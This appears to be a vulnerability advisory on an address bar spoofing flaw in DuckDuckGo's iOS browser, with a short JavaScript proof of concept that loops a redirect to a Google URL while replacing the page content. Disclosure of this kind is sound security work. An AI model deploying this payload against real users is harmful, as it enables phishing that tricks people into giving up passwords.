#Vulnerability: Address Bar Spoofing Vulnerability Product: DuckDuckGo Discovered by: Rafay Baloch and Muhammad Samak #Version: 7.64.4 #Impact: Moderate #Company: Cyber Citadel #Website: https://www.cybercitadel.com *Description* DuckDuckGo browser for iOS was prone to an "Address Bar Spoofing" vulnerability due to mishandling of javaScript's window.open function which is used to open a secondary browser window. This could be exploited by tricking the users into supplying senstive information such as username/passwords etc due to the fact that the address bar would display a legitimate URL, however it would be hosted on the attacker's page. *Proof of Concept (POC)* Following is the POC that could be used to reproduce the issue: <script> function spoof(){ location="https://www.google.com/csi?random="+Math.random(); document.body.innerHTML='This is not Google!';("This is not google.com </h1>");} </script> <input type="button" value="Run" onclick="setInterval(&quot;spoof()&quot;,20);"/> *Impact* The issue could be abused to carry out more effective phishing attacks against it's users.